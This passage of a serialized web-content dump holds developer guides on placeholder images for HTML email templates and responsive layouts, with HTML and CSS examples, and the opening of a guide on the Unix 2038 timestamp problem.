font-family:Arial,sans-serif;\"\n\u002F>\n",[143,169115,169116,169121,169143,169147,169152,169158,169167,169176,169185],{"__ignoreMap":141},[1560,169117,169118],{"class":1562,"line":1563},[1560,169119,169120],{"class":1649},"\u003C!-- Bad: invisible when images blocked -->\n",[1560,169122,169123,169125,169127,169129,169131,169134,169136,169138,169141],{"class":1562,"line":337},[1560,169124,6431],{"class":1570},[1560,169126,10628],{"class":2484},[1560,169128,10631],{"class":1566},[1560,169130,7297],{"class":1570},[1560,169132,169133],{"class":5634},"\"https:\u002F\u002Fcdn.example.com\u002Fhero.jpg\"",[1560,169135,12889],{"class":1566},[1560,169137,7297],{"class":1570},[1560,169139,169140],{"class":5634},"\"Image\"",[1560,169142,124341],{"class":1570},[1560,169144,169145],{"class":1562,"line":343},[1560,169146,1702],{"emptyLinePlaceholder":363},[1560,169148,169149],{"class":1562,"line":365},[1560,169150,169151],{"class":1649},"\u003C!-- Good: communicates value without images -->\n",[1560,169153,169154,169156],{"class":1562,"line":889},[1560,169155,6431],{"class":1570},[1560,169157,168947],{"class":2484},[1560,169159,169160,169162,169164],{"class":1562,"line":1710},[1560,169161,130162],{"class":1566},[1560,169163,7297],{"class":1570},[1560,169165,169166],{"class":5634},"\"https:\u002F\u002Fcdn.example.com\u002Fhero.jpg\"\n",[1560,169168,169169,169171,169173],{"class":1562,"line":1717},[1560,169170,168979],{"class":1566},[1560,169172,7297],{"class":1570},[1560,169174,169175],{"class":5634},"\"Summer Sale — 40% off allOutdoor Gear.Shop Now\"\n",[1560,169177,169178,169180,169182],{"class":1562,"line":1747},[1560,169179,168988],{"class":1566},[1560,169181,7297],{"class":1570},[1560,169183,169184],{"class":5634},"\"display:block; width:100%; max-width:600px; height:auto; color:#1E293B; font-size:16px; font-family:Arial,sans-serif;\"\n",[1560,169186,169187],{"class":1562,"line":2507},[1560,169188,11237],{"class":1570},[16,169190,11348,169191,1856,169193,169195,169196,169198],{},[143,169192,12607],{},[143,169194,72075],{}," on the ",[143,169197,10900],{}," tag style the alt text in clients that support styled alt text (most do, except Outlook).",[11,169200,169202],{"id":169201},"bulletproof-background-images","Bulletproof Background Images",[16,169204,169205],{},"For background images behind text, use the \"bulletproof background\" technique — a VML fallback for Outlook wrapped in standard CSS for other clients:",[135,169207,169209],{"className":6417,"code":169208,"language":6419,"meta":141,"style":141},"\u003Ctd background=\"https:\u002F\u002Fcdn.example.com\u002Fplaceholder-600x300.jpg\" bgcolor=\"#E2E8F0\" width=\"600\" height=\"300\" valign=\"top\">\n  \u003C!--[if gte mso 9]>\n  \u003Cv:rect xmlns:v=\"urn:schemas-microsoft-com:vml\" fill=\"true\" stroke=\"false\" style=\"width:600px;height:300px;\">\n    \u003Cv:fill type=\"frame\" src=\"https:\u002F\u002Fcdn.example.com\u002Fplaceholder-600x300.jpg\" color=\"#E2E8F0\"\u002F>\n    \u003Cv:textbox inset=\"0,0,0,0\">\n  \u003C![endif]-->\n  \u003Cdiv style=\"padding:20px; font-family:Arial,sans-serif; color:#1E293B;\">\n    Your content here\n  \u003C\u002Fdiv>\n  \u003C!--[if gte mso 9]>\n    \u003C\u002Fv:textbox>\n  \u003C\u002Fv:rect>\n  \u003C![endif]-->\n\u003C\u002Ftd>\n",[143,169210,169211,169254,169259,169264,169269,169274,169279,169294,169299,169307,169311,169316,169321,169325],{"__ignoreMap":141},[1560,169212,169213,169215,169217,169220,169222,169225,169227,169229,169232,169234,169236,169238,169240,169242,169244,169247,169249,169252],{"class":1562,"line":1563},[1560,169214,6431],{"class":1570},[1560,169216,216],{"class":2484},[1560,169218,169219],{"class":1566}," background",[1560,169221,7297],{"class":1570},[1560,169223,169224],{"class":5634},"\"https:\u002F\u002Fcdn.example.com\u002Fplaceholder-600x300.jpg\"",[1560,169226,126331],{"class":5159},[1560,169228,7297],{"class":1570},[1560,169230,169231],{"class":5634},"\"#E2E8F0\"",[1560,169233,10649],{"class":1566},[1560,169235,7297],{"class":1570},[1560,169237,10654],{"class":5634},[1560,169239,10657],{"class":1566},[1560,169241,7297],{"class":1570},[1560,169243,155756],{"class":5634},[1560,169245,169246],{"class":1566}," valign",[1560,169248,7297],{"class":1570},[1560,169250,169251],{"class":5634},"\"top\"",[1560,169253,6441],{"class":1570},[1560,169255,169256],{"class":1562,"line":337},[1560,169257,169258],{"class":1649},"  \u003C!--[if gte mso 9]>\n",[1560,169260,169261],{"class":1562,"line":343},[1560,169262,169263],{"class":1649},"  \u003Cv:rect xmlns:v=\"urn:schemas-microsoft-com:vml\" fill=\"true\" stroke=\"false\" style=\"width:600px;height:300px;\">\n",[1560,169265,169266],{"class":1562,"line":365},[1560,169267,169268],{"class":1649},"    \u003Cv:fill type=\"frame\" src=\"https:\u002F\u002Fcdn.example.com\u002Fplaceholder-600x300.jpg\" color=\"#E2E8F0\"\u002F>\n",[1560,169270,169271],{"class":1562,"line":889},[1560,169272,169273],{"class":1649},"    \u003Cv:textbox inset=\"0,0,0,0\">\n",[1560,169275,169276],{"class":1562,"line":1710},[1560,169277,169278],{"class":1649},"  \u003C![endif]-->\n",[1560,169280,169281,169283,169285,169287,169289,169292],{"class":1562,"line":1717},[1560,169282,11223],{"class":1570},[1560,169284,7291],{"class":2484},[1560,169286,11449],{"class":1566},[1560,169288,7297],{"class":1570},[1560,169290,169291],{"class":5634},"\"padding:20px; font-family:Arial,sans-serif; color:#1E293B;\"",[1560,169293,6441],{"class":1570},[1560,169295,169296],{"class":1562,"line":1747},[1560,169297,169298],{"class":1570},"    Your content here\n",[1560,169300,169301,169303,169305],{"class":1562,"line":2507},[1560,169302,12331],{"class":1570},[1560,169304,7291],{"class":2484},[1560,169306,6441],{"class":1570},[1560,169308,169309],{"class":1562,"line":2524},[1560,169310,169258],{"class":1649},[1560,169312,169313],{"class":1562,"line":2529},[1560,169314,169315],{"class":1649},"    \u003C\u002Fv:textbox>\n",[1560,169317,169318],{"class":1562,"line":2534},[1560,169319,169320],{"class":1649},"  \u003C\u002Fv:rect>\n",[1560,169322,169323],{"class":1562,"line":2542},[1560,169324,169278],{"class":1649},[1560,169326,169327,169329,169331],{"class":1562,"line":2558},[1560,169328,11242],{"class":1570},[1560,169330,216],{"class":2484},[1560,169332,6441],{"class":1570},[16,169334,169335,169336,169339],{},"When the background image fails to load (images blocked, CDN error), the ",[143,169337,169338],{},"bgcolor"," provides a solid fallback color.",[11,169341,169343],{"id":169342},"placeholder-services-for-email-testing","Placeholder Services for Email Testing",[16,169345,169346],{},"External placeholder services work well for email testing since images must be externally hosted anyway:",[193,169348,169349,169361],{},[196,169350,169351],{},[199,169352,169353,169356,169359],{},[202,169354,169355],{},"Service",[202,169357,169358],{},"URL Pattern",[202,169360,102628],{},[211,169362,169363,169376,169389],{},[199,169364,169365,169368,169373],{},[216,169366,169367],{},"Lorem Picsum",[216,169369,169370],{},[143,169371,169372],{},"picsum.photos\u002F600\u002F300",[216,169374,169375],{},"Random photos, fast CDN",[199,169377,169378,169381,169386],{},[216,169379,169380],{},"Placeholder.com",[216,169382,169383],{},[143,169384,169385],{},"via.placeholder.com\u002F600x300\u002FE2E8F0\u002F94A3B8?text=Hero",[216,169387,169388],{},"Custom colors and text",[199,169390,169391,169394,169399],{},[216,169392,169393],{},"PlaceKitten",[216,169395,169396],{},[143,169397,169398],{},"placekitten.com\u002F600\u002F300",[216,169400,169401],{},"Cat photos",[16,169403,169404,169406],{},[47,169405,62341],{},": Never use placeholder services in production emails. They may go down, change content, or get blocked by email security filters. Replace all placeholders with final images before sending.",[11,169408,169410],{"id":169409},"dark-mode-in-email","Dark Mode in Email",[16,169412,169413],{},"Dark mode email clients (Outlook.com, Apple Mail) may invert image colors, making light placeholders look awkward. Test with:",[41,169415,169416,169424,169429],{},[44,169417,169418,169420,169421],{},[47,169419,10739],{}," (macOS\u002FiOS): Respects ",[143,169422,169423],{},"prefers-color-scheme",[44,169425,169426,169428],{},[47,169427,10818],{},": Forces dark mode, may invert colors",[44,169430,169431,169433],{},[47,169432,10807],{},": Limited dark mode support",[16,169435,169436,169437,169439],{},"For placeholder images, choose neutral colors that work in both light and dark contexts. Avoid pure white (",[143,169438,3390],{},") backgrounds inside images — they create harsh rectangles in dark mode.",[11,169441,1355],{"id":1354},[41,169443,169444,169450,169453,169456,169459,169462,169465],{},[44,169445,169446,169447,169449],{},"Only externally hosted ",[143,169448,10900],{}," tags work reliably across all email clients",[44,169451,169452],{},"Inline SVG, data URIs, and CSS backgrounds are not safe for email",[44,169454,169455],{},"Always include explicit width, height, and descriptive alt text",[44,169457,169458],{},"Export images at 2x for retina support",[44,169460,169461],{},"Use bulletproof background techniques for image-behind-text layouts",[44,169463,169464],{},"Replace placeholder services with final images before production sends",[44,169466,169467],{},"Test images in both light and dark email modes",[11,169469,286],{"id":285},[16,169471,169472,169473,169475],{},"Generate placeholder images in the exact sizes needed for email templates using our ",[98,169474,93567],{"href":93580},". Choose custom dimensions and colors, then download production-ready files.",[11,169477,321],{"id":320},[41,169479,169480,169486],{},[44,169481,169482,169485],{},[98,169483,169484],{"href":93739},"Placeholder Image Guide"," — general best practices for dummy images",[44,169487,169488,169491],{},[98,169489,169490],{"href":93779},"Design Prototyping Tools"," — placeholder workflows from wireframe to production",[2043,169493,169494],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":141,"searchDepth":337,"depth":337,"links":169496},[169497,169498,169499,169502,169503,169504,169505,169506,169507,169508,169509],{"id":168853,"depth":337,"text":168854},{"id":168866,"depth":337,"text":168867},{"id":168928,"depth":337,"text":168929,"children":169500},[169501],{"id":169000,"depth":343,"text":169001},{"id":169030,"depth":337,"text":169031},{"id":169106,"depth":337,"text":169107},{"id":169201,"depth":337,"text":169202},{"id":169342,"depth":337,"text":169343},{"id":169409,"depth":337,"text":169410},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn which placeholder image approaches work reliably in email templates. Covers Outlook quirks, retina support, alt text fallbacks, and Litmus-tested patterns.",{"keywords":169512,"immutable":363},[93777,169513],"placeholder-images-email-templates","\u002Fguides\u002Fplaceholder-images-email-templates",{"title":168848,"description":169510},"guides\u002Fplaceholder-images-email-templates","jfoHMK9crIgYryqYzdtLfvR4w2uSmFBAunfvqN9cBAw",{"id":169519,"title":169520,"body":169521,"date":2070,"description":170134,"extension":361,"meta":170135,"navigation":363,"path":170136,"readingTime":1710,"seo":170137,"stem":170138,"__hash__":170139},"guides\u002Fguides\u002Fplaceholder-images-responsive-design.md","Placeholder Images for Responsive Design",{"type":8,"value":169522,"toc":170126},[169523,169526,169530,169533,169536,169620,169623,169627,169632,169738,169746,169752,169758,169889,169892,169896,169899,169906,169958,169963,170085,170090,170094,170097,170117,170123],[16,169524,169525],{},"Responsive design depends on images that adapt gracefully across screen sizes. During development, you need placeholder images that match the expected dimensions at each breakpoint — not generic squares that make your layout calculations meaningless. Choosing the right placeholder sizes and formats ensures your responsive grid, flexbox layouts, and CSS sizing rules work correctly before real images arrive.",[11,169527,169529],{"id":169528},"matching-placeholders-to-breakpoints","Matching Placeholders to Breakpoints",[16,169531,169532],{},"A responsive layout typically defines three to five breakpoints. Each breakpoint has different image constraints based on the viewport width and the column structure at that size.",[16,169534,169535],{},"Common breakpoint values and their typical image widths:",[193,169537,169538,169552],{},[196,169539,169540],{},[199,169541,169542,169544,169547,169550],{},[202,169543,109507],{},[202,169545,169546],{},"Viewport Width",[202,169548,169549],{"align":63355},"Typical Image Width",[202,169551,168263],{},[211,169553,169554,169567,169580,169592,169606],{},[199,169555,169556,169558,169561,169564],{},[216,169557,96140],{},[216,169559,169560],{},"320–480 px",[216,169562,169563],{"align":63355},"300–460 px",[216,169565,169566],{},"4:3 or 1:1",[199,169568,169569,169571,169574,169577],{},[216,169570,109529],{},[216,169572,169573],{},"481–768 px",[216,169575,169576],{"align":63355},"400–720 px",[216,169578,169579],{},"16:9 or 3:2",[199,169581,169582,169584,169587,169590],{},[216,169583,97311],{},[216,169585,169586],{},"769–1200 px",[216,169588,169589],{"align":63355},"600–1140 px",[216,169591,168276],{},[199,169593,169594,169597,169600,169603],{},[216,169595,169596],{},"Large",[216,169598,169599],{},"1201–1600 px",[216,169601,169602],{"align":63355},"800–1520 px",[216,169604,169605],{},"21:9 or 16:9",[199,169607,169608,169611,169614,169617],{},[216,169609,169610],{},"Ultra-wide",[216,169612,169613],{},"1601+ px",[216,169615,169616],{"align":63355},"1000+ px",[216,169618,169619],{},"21:9",[16,169621,169622],{},"The key principle: placeholder images should match the rendered size, not the natural size. A hero image displayed at 800×400 CSS pixels on desktop might need a 1600×800 natural resolution for crisp rendering on 2x displays.",[11,169624,169626],{"id":169625},"using-srcset-and-sizes-correctly","Using srcset and sizes Correctly",[16,169628,421,169629,169631],{},[143,169630,155845],{}," attribute lets browsers choose the most appropriate image source based on the viewport. Your placeholder images should cover each candidate width:",[135,169633,169635],{"className":6417,"code":169634,"language":6419,"meta":141,"style":141},"\u003Cimg\n  src=\"https:\u002F\u002Fplacehold.co\u002F400x225\"\n  srcset=\"\n    https:\u002F\u002Fplacehold.co\u002F400x225 400w,\n    https:\u002F\u002Fplacehold.co\u002F800x450 800w,\n    https:\u002F\u002Fplacehold.co\u002F1200x675 1200w,\n    https:\u002F\u002Fplacehold.co\u002F1600x900 1600w\n  \"\n  sizes=\"(max-width: 480px) 100vw,\n         (max-width: 768px) 50vw,\n         33vw\"\n  alt=\"Placeholder: product card image\"\n  width=\"1600\"\n  height=\"900\"\n>\n",[143,169636,169637,169643,169652,169662,169667,169672,169677,169682,169687,169697,169702,169707,169716,169725,169734],{"__ignoreMap":141},[1560,169638,169639,169641],{"class":1562,"line":1563},[1560,169640,6431],{"class":1570},[1560,169642,168947],{"class":2484},[1560,169644,169645,169647,169649],{"class":1562,"line":337},[1560,169646,130162],{"class":1566},[1560,169648,7297],{"class":1570},[1560,169650,169651],{"class":5634},"\"https:\u002F\u002Fplacehold.co\u002F400x225\"\n",[1560,169653,169654,169657,169659],{"class":1562,"line":343},[1560,169655,169656],{"class":1566},"  srcset",[1560,169658,7297],{"class":1570},[1560,169660,169661],{"class":5634},"\"\n",[1560,169663,169664],{"class":1562,"line":365},[1560,169665,169666],{"class":5634},"    https:\u002F\u002Fplacehold.co\u002F400x225 400w,\n",[1560,169668,169669],{"class":1562,"line":889},[1560,169670,169671],{"class":5634},"    https:\u002F\u002Fplacehold.co\u002F800x450 800w,\n",[1560,169673,169674],{"class":1562,"line":1710},[1560,169675,169676],{"class":5634},"    https:\u002F\u002Fplacehold.co\u002F1200x675 1200w,\n",[1560,169678,169679],{"class":1562,"line":1717},[1560,169680,169681],{"class":5634},"    https:\u002F\u002Fplacehold.co\u002F1600x900 1600w\n",[1560,169683,169684],{"class":1562,"line":1747},[1560,169685,169686],{"class":5634},"  \"\n",[1560,169688,169689,169692,169694],{"class":1562,"line":2507},[1560,169690,169691],{"class":1566},"  sizes",[1560,169693,7297],{"class":1570},[1560,169695,169696],{"class":5634},"\"(max-width: 480px) 100vw,\n",[1560,169698,169699],{"class":1562,"line":2524},[1560,169700,169701],{"class":5634},"         (max-width: 768px) 50vw,\n",[1560,169703,169704],{"class":1562,"line":2529},[1560,169705,169706],{"class":5634},"         33vw\"\n",[1560,169708,169709,169711,169713],{"class":1562,"line":2534},[1560,169710,168979],{"class":1566},[1560,169712,7297],{"class":1570},[1560,169714,169715],{"class":5634},"\"Placeholder: product card image\"\n",[1560,169717,169718,169720,169722],{"class":1562,"line":2542},[1560,169719,12386],{"class":1566},[1560,169721,7297],{"class":1570},[1560,169723,169724],{"class":5634},"\"1600\"\n",[1560,169726,169727,169729,169731],{"class":1562,"line":2558},[1560,169728,12400],{"class":1566},[1560,169730,7297],{"class":1570},[1560,169732,169733],{"class":5634},"\"900\"\n",[1560,169735,169736],{"class":1562,"line":2570},[1560,169737,6441],{"class":1570},[16,169739,169740,169741,1856,169743,169745],{},"Setting explicit ",[143,169742,1870],{},[143,169744,1873],{}," attributes is critical. Browsers use these to calculate the aspect ratio before the image loads, preventing layout shift (CLS). Even with placeholders, omitting these attributes causes visible jitter as the browser reflows content after each image download.",[11,169747,421,169749,169751],{"id":169748},"the-picture-element-for-art-direction",[143,169750,155841],{}," Element for Art Direction",[16,169753,169754,169755,169757],{},"When different breakpoints need different aspect ratios — not just different sizes — the ",[143,169756,155841],{}," element provides art-directed responsive images:",[135,169759,169761],{"className":6417,"code":169760,"language":6419,"meta":141,"style":141},"\u003Cpicture>\n  \u003Csource\n    media=\"(min-width: 769px)\"\n    srcset=\"https:\u002F\u002Fplacehold.co\u002F1200x400\"\n  >\n  \u003Csource\n    media=\"(min-width: 481px)\"\n    srcset=\"https:\u002F\u002Fplacehold.co\u002F720x405\"\n  >\n  \u003Cimg\n    src=\"https:\u002F\u002Fplacehold.co\u002F400x400\"\n    alt=\"Placeholder: responsive hero image\"\n    width=\"400\"\n    height=\"400\"\n  >\n\u003C\u002Fpicture>\n",[143,169762,169763,169772,169779,169789,169799,169804,169810,169819,169828,169832,169838,169848,169858,169868,169877,169881],{"__ignoreMap":141},[1560,169764,169765,169767,169770],{"class":1562,"line":1563},[1560,169766,6431],{"class":1570},[1560,169768,169769],{"class":2484},"picture",[1560,169771,6441],{"class":1570},[1560,169773,169774,169776],{"class":1562,"line":337},[1560,169775,11223],{"class":1570},[1560,169777,169778],{"class":2484},"source\n",[1560,169780,169781,169784,169786],{"class":1562,"line":343},[1560,169782,169783],{"class":1566},"    media",[1560,169785,7297],{"class":1570},[1560,169787,169788],{"class":5634},"\"(min-width: 769px)\"\n",[1560,169790,169791,169794,169796],{"class":1562,"line":365},[1560,169792,169793],{"class":1566},"    srcset",[1560,169795,7297],{"class":1570},[1560,169797,169798],{"class":5634},"\"https:\u002F\u002Fplacehold.co\u002F1200x400\"\n",[1560,169800,169801],{"class":1562,"line":889},[1560,169802,169803],{"class":1570},"  >\n",[1560,169805,169806,169808],{"class":1562,"line":1710},[1560,169807,11223],{"class":1570},[1560,169809,169778],{"class":2484},[1560,169811,169812,169814,169816],{"class":1562,"line":1717},[1560,169813,169783],{"class":1566},[1560,169815,7297],{"class":1570},[1560,169817,169818],{"class":5634},"\"(min-width: 481px)\"\n",[1560,169820,169821,169823,169825],{"class":1562,"line":1747},[1560,169822,169793],{"class":1566},[1560,169824,7297],{"class":1570},[1560,169826,169827],{"class":5634},"\"https:\u002F\u002Fplacehold.co\u002F720x405\"\n",[1560,169829,169830],{"class":1562,"line":2507},[1560,169831,169803],{"class":1570},[1560,169833,169834,169836],{"class":1562,"line":2524},[1560,169835,11223],{"class":1570},[1560,169837,168947],{"class":2484},[1560,169839,169840,169843,169845],{"class":1562,"line":2529},[1560,169841,169842],{"class":1566},"    src",[1560,169844,7297],{"class":1570},[1560,169846,169847],{"class":5634},"\"https:\u002F\u002Fplacehold.co\u002F400x400\"\n",[1560,169849,169850,169853,169855],{"class":1562,"line":2534},[1560,169851,169852],{"class":1566},"    alt",[1560,169854,7297],{"class":1570},[1560,169856,169857],{"class":5634},"\"Placeholder: responsive hero image\"\n",[1560,169859,169860,169863,169865],{"class":1562,"line":2542},[1560,169861,169862],{"class":1566},"    width",[1560,169864,7297],{"class":1570},[1560,169866,169867],{"class":5634},"\"400\"\n",[1560,169869,169870,169873,169875],{"class":1562,"line":2558},[1560,169871,169872],{"class":1566},"    height",[1560,169874,7297],{"class":1570},[1560,169876,169867],{"class":5634},[1560,169878,169879],{"class":1562,"line":2570},[1560,169880,169803],{"class":1570},[1560,169882,169883,169885,169887],{"class":1562,"line":6638},[1560,169884,11242],{"class":1570},[1560,169886,169769],{"class":2484},[1560,169888,6441],{"class":1570},[16,169890,169891],{},"This pattern is common for hero banners: a wide cinematic crop on desktop, a standard 16:9 on tablet, and a square crop on mobile. Using matching placeholders ensures your CSS object-fit and object-position rules display correctly before production assets are available.",[11,169893,169895],{"id":169894},"aspect-ratio-strategies","Aspect Ratio Strategies",[16,169897,169898],{},"Maintaining consistent aspect ratios across placeholders prevents layout instability when swapping in real images. CSS provides two approaches:",[16,169900,169901],{},[47,169902,18204,169903,169905],{},[143,169904,155641],{}," (modern browsers):",[135,169907,169909],{"className":1554,"code":169908,"language":1556,"meta":141,"style":141},".card-image {\n  width: 100%;\n  aspect-ratio: 16 \u002F 9;\n  object-fit: cover;\n}\n",[143,169910,169911,169918,169930,169944,169954],{"__ignoreMap":141},[1560,169912,169913,169916],{"class":1562,"line":1563},[1560,169914,169915],{"class":1566},".card-image",[1560,169917,1571],{"class":1570},[1560,169919,169920,169922,169924,169926,169928],{"class":1562,"line":337},[1560,169921,12386],{"class":1576},[1560,169923,1663],{"class":1570},[1560,169925,18114],{"class":1576},[1560,169927,17990],{"class":1669},[1560,169929,2228],{"class":1570},[1560,169931,169932,169934,169936,169938,169940,169942],{"class":1562,"line":343},[1560,169933,155662],{"class":1576},[1560,169935,1663],{"class":1570},[1560,169937,10057],{"class":1576},[1560,169939,14237],{"class":1570},[1560,169941,114357],{"class":1576},[1560,169943,2228],{"class":1570},[1560,169945,169946,169948,169950,169952],{"class":1562,"line":365},[1560,169947,46796],{"class":1576},[1560,169949,1663],{"class":1570},[1560,169951,46801],{"class":1576},[1560,169953,2228],{"class":1570},[1560,169955,169956],{"class":1562,"line":889},[1560,169957,1585],{"class":1570},[16,169959,169960],{},[47,169961,169962],{},"Using the padding hack (legacy support):",[135,169964,169966],{"className":1554,"code":169965,"language":1556,"meta":141,"style":141},".card-image-wrapper {\n  position: relative;\n  padding-bottom: 56.25%; \u002F* 9\u002F16 = 56.25% for 16:9 *\u002F\n  height: 0;\n  overflow: hidden;\n}\n\n.card-image-wrapper img {\n  position: absolute;\n  width: 100%;\n  height: 100%;\n  object-fit: cover;\n}\n",[143,169967,169968,169975,169985,170001,170011,170021,170025,170029,170037,170047,170059,170071,170081],{"__ignoreMap":141},[1560,169969,169970,169973],{"class":1562,"line":1563},[1560,169971,169972],{"class":1566},".card-image-wrapper",[1560,169974,1571],{"class":1570},[1560,169976,169977,169979,169981,169983],{"class":1562,"line":337},[1560,169978,5642],{"class":1576},[1560,169980,1663],{"class":1570},[1560,169982,19549],{"class":1576},[1560,169984,2228],{"class":1570},[1560,169986,169987,169989,169991,169994,169996,169998],{"class":1562,"line":343},[1560,169988,33338],{"class":1576},[1560,169990,1663],{"class":1570},[1560,169992,169993],{"class":1576},"56.25",[1560,169995,17990],{"class":1669},[1560,169997,3664],{"class":1570},[1560,169999,170000],{"class":1649},"\u002F* 9\u002F16 = 56.25% for 16:9 *\u002F\n",[1560,170002,170003,170005,170007,170009],{"class":1562,"line":365},[1560,170004,12400],{"class":1576},[1560,170006,1663],{"class":1570},[1560,170008,5285],{"class":1576},[1560,170010,2228],{"class":1570},[1560,170012,170013,170015,170017,170019],{"class":1562,"line":889},[1560,170014,74722],{"class":1576},[1560,170016,1663],{"class":1570},[1560,170018,44183],{"class":1576},[1560,170020,2228],{"class":1570},[1560,170022,170023],{"class":1562,"line":1710},[1560,170024,1585],{"class":1570},[1560,170026,170027],{"class":1562,"line":1717},[1560,170028,1702],{"emptyLinePlaceholder":363},[1560,170030,170031,170033,170035],{"class":1562,"line":1747},[1560,170032,169972],{"class":1566},[1560,170034,11550],{"class":2484},[1560,170036,1571],{"class":1570},[1560,170038,170039,170041,170043,170045],{"class":1562,"line":2507},[1560,170040,5642],{"class":1576},[1560,170042,1663],{"class":1570},[1560,170044,5647],{"class":1576},[1560,170046,2228],{"class":1570},[1560,170048,170049,170051,170053,170055,170057],{"class":1562,"line":2524},[1560,170050,12386],{"class":1576},[1560,170052,1663],{"class":1570},[1560,170054,18114],{"class":1576},[1560,170056,17990],{"class":1669},[1560,170058,2228],{"class":1570},[1560,170060,170061,170063,170065,170067,170069],{"class":1562,"line":2529},[1560,170062,12400],{"class":1576},[1560,170064,1663],{"class":1570},[1560,170066,18114],{"class":1576},[1560,170068,17990],{"class":1669},[1560,170070,2228],{"class":1570},[1560,170072,170073,170075,170077,170079],{"class":1562,"line":2534},[1560,170074,46796],{"class":1576},[1560,170076,1663],{"class":1570},[1560,170078,46801],{"class":1576},[1560,170080,2228],{"class":1570},[1560,170082,170083],{"class":1562,"line":2542},[1560,170084,1585],{"class":1570},[16,170086,421,170087,170089],{},[143,170088,155641],{}," property is supported in all modern browsers since 2021 and is the preferred approach. The padding hack is only necessary if you need to support Internet Explorer or older Safari versions.",[11,170091,170093],{"id":170092},"testing-layout-behavior","Testing Layout Behavior",[16,170095,170096],{},"Placeholder images serve three distinct testing purposes:",[77,170098,170099,170105,170111],{},[44,170100,170101,170104],{},[47,170102,170103],{},"Grid alignment",": Verify that images with uniform aspect ratios maintain consistent row heights in CSS Grid and Flexbox layouts.",[44,170106,170107,170110],{},[47,170108,170109],{},"Overflow handling",": Test what happens when a CMS user uploads an image with a different aspect ratio than expected. Use both matching and mismatched placeholders to confirm your CSS handles both cases.",[44,170112,170113,170116],{},[47,170114,170115],{},"Loading states",": Measure Cumulative Layout Shift (CLS) using Chrome DevTools or Lighthouse. If CLS is above 0.1, you are likely missing explicit width\u002Fheight attributes or aspect-ratio declarations.",[16,170118,170119,170120,170122],{},"Generate placeholder images in any dimension for responsive testing using ",[98,170121,93580],{"href":93580},", which supports custom widths, heights, background colors, and text overlays to match your design system tokens.",[2043,170124,170125],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":170127},[170128,170129,170130,170132,170133],{"id":169528,"depth":337,"text":169529},{"id":169625,"depth":337,"text":169626},{"id":169748,"depth":337,"text":170131},"The \u003Cpicture> Element for Art Direction",{"id":169894,"depth":337,"text":169895},{"id":170092,"depth":337,"text":170093},"Choose the right placeholder dimensions and formats for responsive breakpoint testing.",{},"\u002Fguides\u002Fplaceholder-images-responsive-design",{"title":169520,"description":170134},"guides\u002Fplaceholder-images-responsive-design","4m7Pv6fM-UMHGPhOvhkrnxNQB2Kh3M6giTV6ISIdOmU",{"id":170141,"title":170142,"body":170143,"date":2070,"description":170503,"extension":361,"meta":170504,"navigation":363,"path":170505,"readingTime":1710,"seo":170506,"stem":170507,"__hash__":170508},"guides\u002Fguides\u002Fposix-time-2038-problem.md","The Unix Time 2038 Problem",{"type":8,"value":170144,"toc":170489},[170145,170148,170152,170159,170203,170214,170218,170281,170285,170288,170333,170339,170343,170347,170357,170372,170390,170394,170423,170427,170430,170444,170448,170451,170457,170459,170479,170481,170487],[16,170146,170147],{},"On January 19, 2038, at 03:14:07 UTC, the Unix timestamp — the number of seconds elapsed since January 1, 1970 — will reach 2,147,483,647. That number is the maximum value a signed 32-bit integer can hold. One second later, it will roll over to -2,147,483,648, and systems interpreting the timestamp as a signed 32-bit value will believe the date is December 13, 1901. This is the Year 2038 problem, also known as Y2K38 or the Unix Millennium 